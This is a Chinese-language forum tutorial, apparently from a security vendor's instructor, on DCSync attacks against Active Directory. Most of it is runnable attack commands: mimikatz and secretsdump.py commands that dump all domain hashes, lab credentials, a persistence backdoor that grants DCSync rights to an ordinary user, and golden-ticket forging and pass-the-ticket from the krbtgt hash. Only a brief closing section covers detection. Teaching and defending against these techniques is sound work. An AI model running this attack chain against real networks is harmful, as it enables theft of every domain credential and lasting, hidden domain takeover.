本帖最后由 深信服认证 于 2022-10-28 14:06 编辑
什么是DCSync 在域环境中,域控制之间每十五分钟就会进行一次域数据同步。当域控制A需要从域控制器B获取数据时,会向其发送一个 GetNCChanges 请求,该请求包含了需要同步的数据,如果获取的数据较多,则会进行循环请求。
DCSync是mimikatz在2015年添加的一个功能,利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口模仿一个域控制器向另一个域控制器发起数据同步请求,能够用来导出域内所有用户的hash。
在 DCSync 功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。使用DCSync就可以远程通过域数据同步复制的方式模仿域控从真实的域控当中请求数据获得想要的用户hash。 利用条件
获得以下任一用户的权限: 默认只有域控主机账号和域管理员能进行Dcsync,其机器账号拥有WriteACL的权限,可以给指定用户添加Dcsync来dump域哈希。
利用 DCSync 导出域内哈希 mimikatz 导出administrator用户的Hash privilege::debuglsadump::dcsync /domain:god.org /user:administrator
导出域内所有用户的hash lsadump::dcsync /domain:god.org /all
Secretsdump.py
Secretsdump.py 是 Impacket 框架中的一个脚本,该脚本也可以通过 DCSync 技术导出域控制器上用户的哈希。该工具的原理是首先使用提供的用户登录凭据通过 smbexec 或者 wmiexec 远程连接至域控制器并获得高权限,进而从注册表中导出本地帐户的哈希,同时通过 Dcsync 或从 NTDS.dit 文件中导出所有域用户的哈希。其最大的优点是支持从域外的计算机连接至域控制器。
导出administrator用户的Hash proxychains python3 secretsdump.py god/administrator:Admin12345@192.168.3.21 -dc-ip 192.168.3.21 -just-dc-user administrator
获取所有域用户哈希, 包括机器用户 proxychains python3 secretsdump.py god/administrator:Admin12345@192.168.3.21
powershell 通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能 导出域内所有用户的hash: Invoke-DCSync -DumpForest | ft -wrap -autosize
导出域内administrator帐户的hash: Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize
利用DCSync在域内维持权限 利用条件: 利用原理: 向域内的一个普通用户添加如下三条ACE(Access Control Entries): DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
添加ACE: 向mary用户添加以上三条ACE Add-DomainObjectAcl -TargetIdentity "DC=god,DC=org" -PrincipalIdentity mary -Rights DCSync -Verbose !
导出哈希: 通过secretsdump导出域管账号hash proxychains python3 secretsdump.py 'god/mary:admin!@#45'@192.168.3.21 -dc-ip 192.168.3.21 -just-dc-user administrator
通过mimikatz导出所有账号hash mimikatz.exe privilege::debug "lsadump::dcsync /domain:god.org /all /csv" exit
使用runas实现登录mary再使用DCSync runas /noprofile /user:god\mary cmd
查询具有 DCSync 权限的用户 AdFind.exe -s subtree -b "DC=god,DC=org" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute
利用 DCSync 制作黄金票据 使用 Mimikatz 的 DCSync 功能导出域控制器中 krbtgt 账户的哈希: lsadump::dcsync /domain:god.org /user:krbtgt
通过 krbtgt 账户的哈希生成黄金票据 kerberos::golden /user:administrator /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:Administrator.kiribi
当前访问域控资源,是被拒绝的
进行票据传递 kerberos::ptt Administrator.kiribi
再次访问域控资源
自动化检测DCSync后门的方法 具有高权限但不在高权限组的用户被称之为Shadow Admin,例如域用户mary,仅通过查询高权限组的成员无法发现域内的Shadow Admin 可使用ACLight工具枚举Active Directory中所有用户的ACL,标记出特权帐户。
本期作者李忻蔚:深信服安全服务认证专家(SCSE-S),产业教育中心资深讲师,曾任职于中国电子科技网络信息安全有限公司,担任威胁情报工程师、渗透测试工程师、安全讲师;多年来为政府部门进行安全培训,安全服务;多次参与国家级、省级攻防比武的出题和保障任务,擅长Web安全、渗透测试与内网渗透方向。 |